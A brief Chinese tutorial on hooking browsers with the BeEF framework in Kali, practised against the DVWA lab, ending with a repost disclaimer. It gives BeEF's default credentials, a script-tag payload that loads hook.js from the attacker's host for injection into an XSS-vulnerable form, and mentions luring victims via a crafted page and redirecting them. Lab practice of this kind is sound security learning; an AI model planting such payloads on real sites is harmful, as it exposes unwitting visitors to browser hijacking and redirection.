beef簡單的使用


打開kali圖形界面,點擊beef start開啟beef

可能自動彈出beef界面,如果沒有彈出,可以在瀏覽器內輸入命令行界面的URL訪問,在beef登錄界面輸入beef的默認用戶名和密碼:beef/beef登錄beef界面,

登錄后,將<script src='http://IP(運行beef主機的IP):3000/hook.js'></script>插入存在xss漏洞的表單中,本人選取了DVWA的普通難度的XSS漏洞處

之后beef界面就會出現瀏覽信息部分,顯示訪問者的IP,由於是本機訪問的虛擬機,顯示的是網關的IP

 

還可以直接構造一個html腳本,誘使人點即進入,腳本內容如下

可以達到同樣的效果,

 

可以根據需求將頁面跳轉到其他網址,也可以根據需求,用beef將網址自動跳轉到指定的URL

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM